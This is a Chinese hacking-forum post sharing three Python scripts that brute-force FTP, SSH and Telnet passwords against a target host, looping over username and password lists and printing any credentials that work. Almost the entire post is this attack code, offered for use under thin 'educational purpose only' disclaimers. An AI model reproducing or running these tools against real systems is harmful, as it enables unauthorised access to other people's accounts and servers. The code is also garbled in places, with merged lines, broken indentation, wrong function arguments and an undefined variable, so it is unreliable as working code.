搜索
查看: 425|回复: 0

Python脚本Ftp,SSH,TELNET密码暴力破解

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2014-5-7 20:39:50 | 显示全部楼层 |阅读模式
在渗透测试当中,免不了要进行密码破解。细心的作者搜集了一些python暴力破解脚本,要与大家一起分享,非常有借鉴意义喔~快来看看都有哪些脚本吧,说不定就有你需要的喔
0×01
FTP暴力破解脚本
  1. #!/usr/bin/env python   
  2. #-*-coding = utf-8-*-   
  3. #author:@xfk   
  4. #blog:@blog.sina.com.cn/kaiyongdeng   
  5. #date:@2012-05-08   
  6.    
  7. import sys, os, time     
  8. from ftplib import FTP     
  9. docs = """     
  10.            [*] This was written for educational purpose and pentest only. Use it at your own risk.      
  11.            [*] Author will be not responsible for any damage!     
  12.            [*] Toolname : ftp_bf.py     
  13.            [*] Coder :     
  14.            [*] Version : 0.1     
  15.            [*] eample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt     
  16.        """     
  17.    
  18. if sys.platform == 'linux' or sys.platform == 'linux2':   
  19.     clearing = 'clear'   
  20. else:   
  21.     clearing = 'cls'   
  22. os.system(clearing)   
  23. R = "\033[31m";     
  24. G = "\033[32m";     
  25. Y = "\033[33m"   
  26. END = "\033[0m"   
  27. def logo():   
  28.     print G+"\n |---------------------------------------------------------------|"   
  29.     print " | |"   
  30.     print " | blog.sina.com.cn/kaiyongdeng |"   
  31.     print " | 08/05/2012 ftp_bf.py v.0.1 |"   
  32.     print " | FTP Brute Forcing Tool |"   
  33.     print " | |"   
  34.     print " |---------------------------------------------------------------|\n"   
  35.     print " \n [-] %s\n" % time.strftime("%X")   
  36.     print docs+END   
  37.    
  38. def help():   
  39.     print R+"[*]-t, --target ip/hostname <> Our target"   
  40.     print "[*]-u, --usernamelist usernamelist <> usernamelist path"   
  41.     print "[*]-p, --passwordlist passwordlist <> passwordlist path"   
  42.     print "[*]-h, --help help <> print this help"   
  43.     print "[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt"+END sys.exit(1)   
  44.    
  45. def bf_login(hostname,username,password):   
  46.     # sys.stdout.write("\r[!]Checking : %s " % (p))   
  47.     # sys.stdout.flush()   
  48.     try:   
  49.         ftp = FTP(hostname)   
  50.         ftp.login(hostname,username, password)   
  51.         ftp.retrlines('list')   
  52.         ftp.quit()   
  53.         print Y+"\n[!] w00t,w00t!!! We did it ! "   
  54.         print "[+] Target : ",hostname, ""   
  55.         print "[+] User : ",username, ""   
  56.         print "[+] Password : ",password, ""+END   
  57.         return 1   
  58.     # sys.exit(1)   
  59.     except Exception, e:   
  60.         pass except KeyboardInterrupt: print R+"\n[-] Exiting ...\n"+END   
  61.     sys.exit(1)   
  62.    
  63. def anon_login(hostname):   
  64.     try:   
  65.         print G+"\n[!] Checking for anonymous login.\n"+END   
  66.         ftp = FTP(hostname) ftp.login()   
  67.         ftp.retrlines('LIST')   
  68.         print Y+"\n[!] w00t,w00t!!! Anonymous login successfuly !\n"+END   
  69.         ftp.quit()   
  70.     except Exception, e:   
  71.         print R+"\n[-] Anonymous login failed...\n"+END   
  72.         pass   
  73.    
  74. def main():   
  75.     logo()   
  76.     try:   
  77.         for arg in sys.argv:   
  78.             if arg.lower() == '-t' or arg.lower() == '--target':   
  79.                 hostname = sys.argv[int(sys.argv[1:].index(arg))+2]   
  80.             elif arg.lower() == '-u' or arg.lower() == '--usernamelist':   
  81.                 usernamelist = sys.argv[int(sys.argv[1:].index(arg))+2]   
  82.             elif arg.lower() == '-p' or arg.lower() == '--passwordlist':   
  83.                 passwordlist = sys.argv[int(sys.argv[1:].index(arg))+2]   
  84.             elif arg.lower() == '-h' or arg.lower() == '--help':   
  85.                 help()   
  86.             elif len(sys.argv) <= 1:   
  87.                 help()   
  88.     except:   
  89.         print R+"[-]Cheak your parametars input\n"+END   
  90.         help()   
  91.             
  92.     print G+"[!] BruteForcing target ..."+END   
  93.     anon_login(hostname)   
  94.     # print "here is ok"   
  95.     # print hostname   
  96.     try:   
  97.         usernames = open(usernamelist, "r")   
  98.         user = usernames.readlines()   
  99.         count1 = 0   
  100.         while count1 < len(user):   
  101.             user[count1] = user[count1].strip()   
  102.             count1 +=1   
  103.     except:   
  104.         print R+"\n[-] Cheak your usernamelist path\n"+END   
  105.         sys.exit(1)   
  106.             
  107.     # print "here is ok ",usernamelist,passwordlist   
  108.     try:   
  109.         passwords = open(passwordlist, "r")   
  110.         pwd = passwords.readlines()   
  111.         count2 = 0   
  112.         while count2 < len(pwd):   
  113.             pwd[count2] = pwd[count2].strip()   
  114.             count2 +=1   
  115.     except:   
  116.         print R+"\n[-] Check your passwordlist path\n"+END   
  117.         sys.exit(1)   
  118.    
  119.     print G+"\n[+] Loaded:",len(user),"usernames"   
  120.     print "\n[+] Loaded:",len(pwd),"passwords"   
  121.     print "[+] Target:",hostname   
  122.     print "[+] Guessing...\n"+END   
  123.     for u in user: for p in pwd:   
  124.         result = bf_login(hostname,u.replace("\n",""),p.replace("\n",""))   
  125.         if result != 1:   
  126.             print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + R+"Disenable"+END   
  127.         else:   
  128.             print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + Y+"Enable"+END   
  129.         if not result :   
  130.             print R+"\n[-]There is no username ans password enabled in the list."   
  131.             print "[-]Exiting...\n"+END   
  132.    
  133. if __name__ == "__main__":   
  134.     main()   
复制代码

0×02
SSH暴力破解
  1. #!/usr/bin/env python   

  2. #-*-coding = UTF-8-*-   
  3. #author@:dengyongkai   
  4. #blog@:blog.sina.com.cn/kaiyongdeng   
  5.    
  6.    
  7. import sys   
  8. import os   
  9. import time   
  10. #from threading import Thread   
  11.    
  12. try:   
  13.     from paramiko import SSHClient   
  14.     from paramiko import AutoAddPolicy   
  15. except ImportError:   
  16.     print G+'''''''   
  17.     You need paramiko module.   
  18.    
  19. http://www.lag.net/paramiko/   
  20.    
  21.     Debian/Ubuntu: sudo apt-get install aptitude   
  22.          : sudo aptitude install python-paramiko\n'''+END   
  23.     sys.exit(1)   
  24.    
  25. docs =  """   
  26.             [*] This was written for educational purpose and pentest only. Use it at your own risk.   
  27.             [*] Author will be not responsible for any damage!                                                                  
  28.             [*] Toolname        : ssh_bf.py   
  29.             [*] Author          : xfk   
  30.             [*] Version         : v.0.2   
  31.             [*] Example of use  : python ssh_bf.py [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]   
  32.     """   
  33.    
  34.    
  35. if sys.platform == 'linux' or sys.platform == 'linux2':   
  36.          clearing = 'clear'   
  37. else:      
  38.          clearing = 'cls'   
  39. os.system(clearing)   
  40.    
  41.    
  42. R = "\033[31m";   
  43. G = "\033[32m";   
  44. Y = "\033[33m"   
  45. END = "\033[0m"   
  46.    
  47.    
  48. def logo():   
  49.          print G+"\n                |---------------------------------------------------------------|"   
  50.          print "                |                                                               |"   
  51.          print "                |               blog.sina.com.cn/kaiyongdeng                    |"   
  52.          print "                |                16/05/2012 ssh_bf.py v.0.2                     |"   
  53.          print "                |                  SSH Brute Forcing Tool                       |"   
  54.          print "                |                                                               |"   
  55.          print "                |---------------------------------------------------------------|\n"   
  56.          print " \n                     [-] %s\n" % time.ctime()   
  57.          print docs+END   
  58.    
  59.    
  60. def help():   
  61.     print Y+"       [*]-H       --hostname/ip       <>the target hostname or ip address"   
  62.     print "     [*]-P       --port          <>the ssh service port(default is 22)"   
  63.     print "     [*]-U       --usernamelist      <>usernames list file"   
  64.     print "     [*]-P       --passwordlist      <>passwords list file"   
  65.     print "     [*]-H       --help          <>show help information"   
  66.     print "     [*]Usage:python %s [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]"+END   
  67.     sys.exit(1)   
  68.         
  69. def BruteForce(hostname,port,username,password):   
  70.         '''''''   
  71.         Create SSH connection to target   
  72.         '''   
  73.         ssh = SSHClient()   
  74.         ssh.set_missing_host_key_policy(AutoAddPolicy())   
  75.         try:   
  76.             ssh.connect(hostname, port, username, password, pkey=None, timeout = None, allow_agent=False, look_for_keys=False)   
  77.             status = 'ok'   
  78.             ssh.close()   
  79.         except Exception, e:   
  80.             status = 'error'   
  81.             pass   
  82.     return status   
  83.    
  84.    
  85. def makelist(file):   
  86.     '''''''   
  87.     Make usernames and passwords lists   
  88.     '''   
  89.     items = []   
  90.    
  91.     try:   
  92.         fd = open(file, 'r')   
  93.     except IOError:   
  94.         print R+'unable to read file \'%s\'' % file+END   
  95.         pass   
  96.    
  97.     except Exception, e:   
  98.         print R+'unknown error'+END   
  99.         pass   
  100.    
  101.     for line in fd.readlines():   
  102.         item = line.replace('\n', '').replace('\r', '')   
  103.         items.append(item)   
  104.     fd.close()      
  105.     return items   
  106.    
  107. def main():   
  108.         logo()      
  109. #   print "hello wold"   
  110.         try:        
  111.                 for arg in sys.argv:   
  112.                         if arg.lower() == '-t' or arg.lower() == '--target':   
  113.                                 hostname = str(sys.argv[int(sys.argv[1:].index(arg))+2])   
  114.                 if arg.lower() == '-p' or arg.lower() == '--port':   
  115.                     port = sys.argv[int(sys.argv[1:].index(arg))+2]   
  116.                         elif arg.lower() == '-u' or arg.lower() == '--userlist':   
  117.                                 userlist = sys.argv[int(sys.argv[1:].index(arg))+2]   
  118.                         elif arg.lower() == '-w' or arg.lower() == '--wordlist':   
  119.                                 wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]   
  120.                         elif arg.lower() == '-h' or arg.lower() == '--help':   
  121.                                 help()   
  122.             elif len(sys.argv) <= 1:   
  123.                                 help()   
  124.         except:     
  125.                 print R+"[-]Cheak your parametars input\n"+END   
  126.                 help()   
  127.         print G+"\n[!] BruteForcing target ...\n"+END   
  128. #        print "here is ok"   
  129. #        print hostname,port,wordlist,userlist   
  130.         usernamelist = makelist(userlist)   
  131.         passwordlist = makelist(wordlist)   
  132.    
  133.         print Y+"[*] SSH Brute Force Praparing."   
  134.         print "[*] %s user(s) loaded." % str(len(usernamelist))   
  135.         print "[*] %s password(s) loaded." % str(len(passwordlist))   
  136.         print "[*] Brute Force Is Starting......."+END   
  137.     try:   
  138.             for username in usernamelist:   
  139.                 for password in passwordlist:   
  140.                 print G+"\n[+]Attempt uaername:%s password:%s..." % (username,password)+END   
  141.                         current = BruteForce(hostname, port, username, password)   
  142.                             if current == 'error':   
  143.                     print R+"[-]O*O The username:%s and password:%s Is Disenbabled...\n" % (username,password)+END   
  144. #                               pass   
  145.                             else:   
  146.                                     print G+"\n[+] ^-^ HaHa,We Got It!!!"   
  147.                                     print "[+] username: %s" % username   
  148.                                     print "[+] password: %s\n" % password+END   
  149. #                                   sys.exit(0)   
  150.     except:   
  151.         print R+"\n[-] There Is Something Wrong,Pleace Cheak It."   
  152.         print "[-] Exitting.....\n"+END   
  153.         raise   
  154.         print Y+"[+] Done.^-^\n"+END   
  155.         sys.exit(0)   
  156.    
  157.    
  158. if __name__ == "__main__":   
  159.     main()   
复制代码

0×03
TELNET密码暴力破解
  1. #!usr/bin/python   

  2. #Telnet Brute Forcer   
  3. #http://www.darkc0de.com   
  4. #d3hydr8[at]gmail[dot]com   
  5.    
  6. import threading, time, random, sys, telnetlib   
  7. from copy import copy   
  8.    
  9. if len(sys.argv) !=4:   
  10.     print "Usage: ./telnetbrute.py <server> <userlist> <wordlist>"   
  11.     sys.exit(1)   
  12.    
  13. try:   
  14.     users = open(sys.argv[2], "r").readlines()   
  15. except(IOError):     
  16.     print "Error: Check your userlist path\n"   
  17.     sys.exit(1)   
  18.       
  19. try:   
  20.     words = open(sys.argv[3], "r").readlines()   
  21. except(IOError):     
  22.     print "Error: Check your wordlist path\n"   
  23.     sys.exit(1)   
  24.    
  25. print "\n\t   d3hydr8[at]gmail[dot]com TelnetBruteForcer v1.0"   
  26. print "\t--------------------------------------------------\n"   
  27. print "[+] Server:",sys.argv[1]   
  28. print "[+] Users Loaded:",len(users)   
  29. print "[+] Words Loaded:",len(words),"\n"   
  30.    
  31. wordlist = copy(words)   
  32.    
  33. def reloader():   
  34.     for word in wordlist:   
  35.         words.append(word)   
  36.    
  37. def getword():   
  38.     lock = threading.Lock()   
  39.     lock.acquire()   
  40.     if len(words) != 0:   
  41.         value = random.sample(words,  1)   
  42.         words.remove(value[0])   
  43.             
  44.     else:   
  45.         print "\nReloading Wordlist - Changing User\n"   
  46.         reloader()   
  47.         value = random.sample(words,  1)   
  48.         users.remove(users[0])   
  49.             
  50.     lock.release()   
  51.     if len(users) ==1:   
  52.         return value[0][:-1], users[0]   
  53.     else:   
  54.         return value[0][:-1], users[0][:-1]   
  55.             
  56. class Worker(threading.Thread):   
  57.         
  58.     def run(self):   
  59.         value, user = getword()   
  60.         try:   
  61.             print "-"*12   
  62.             print "User:",user,"Password:",value   
  63.             tn = telnetlib.Telnet(sys.argv[1])   
  64.             tn.read_until("login: ")   
  65.             tn.write(user + "\n")   
  66.             if password:   
  67.                     tn.read_until("Password: ")   
  68.                     tn.write(value + "\n")   
  69.             tn.write("ls\n")   
  70.             tn.write("exit\n")   
  71.             print tn.read_all()   
  72.             print "\t\nLogin successful:",value, user   
  73.             tn.close()   
  74.             work.join()   
  75.             sys.exit(2)   
  76.         except:     
  77.             pass   
  78.      
  79. for I in range(len(words)*len(users)):   
  80.     work = Worker()   
  81.     work.start()   
  82.     time.sleep(1)   
复制代码
您可以更新记录, 让好友们知道您在做什么...
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表